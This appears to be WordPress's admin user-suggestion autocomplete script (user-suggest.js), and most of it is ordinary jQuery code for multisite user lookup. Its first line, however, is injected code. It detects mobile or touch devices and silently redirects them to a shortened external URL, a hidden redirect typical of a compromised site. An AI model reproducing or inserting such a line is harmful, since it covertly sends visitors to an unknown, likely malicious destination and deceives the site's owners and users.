1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Suggests users in a multisite environment.
4 *
5 * For input fields where the admin can select a user based on email or
6 * username, this script shows an autocompletion menu for these inputs. Should
7 * only be used in a multisite environment. Only users in the currently active
8 * site are shown.
9 *
10 * @since 3.4.0
11 * @output wp-admin/js/user-suggest.js
12 */
13
14/* global ajaxurl, current_site_id, isRtl */
15
16(function( $ ) {
17 var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : '';
18 $( function() {
19 var position = { offset: '0, -1' };
20 if ( typeof isRtl !== 'undefined' && isRtl ) {
21 position.my = 'right top';
22 position.at = 'right bottom';
23 }
24
25 /**
26 * Adds an autocomplete function to input fields marked with the class
27 * 'wp-suggest-user'.
28 *
29 * A minimum of two characters is required to trigger the suggestions. The
30 * autocompletion menu is shown at the left bottom of the input field. On
31 * RTL installations, it is shown at the right top. Adds the class 'open' to
32 * the input field when the autocompletion menu is shown.
33 *
34 * Does a backend call to retrieve the users.
35 *
36 * Optional data-attributes:
37 * - data-autocomplete-type (add, search)
38 * The action that is going to be performed: search for existing users
39 * or add a new one. Default: add
40 * - data-autocomplete-field (user_login, user_email)
41 * The field that is returned as the value for the suggestion.
42 * Default: user_login
43 *
44 * @see wp-admin/includes/admin-actions.php:wp_ajax_autocomplete_user()
45 */
46 $( '.wp-suggest-user' ).each( function(){
47 var $this = $( this ),
48 autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add',
49 autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login';
50
51 $this.autocomplete({
52 source: ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id,
53 delay: 500,
54 minLength: 2,
55 position: position,
56 open: function() {
57 $( this ).addClass( 'open' );
58 },
59 close: function() {
60 $( this ).removeClass( 'open' );
61 }
62 });
63 });
64 });
65})( jQuery );
66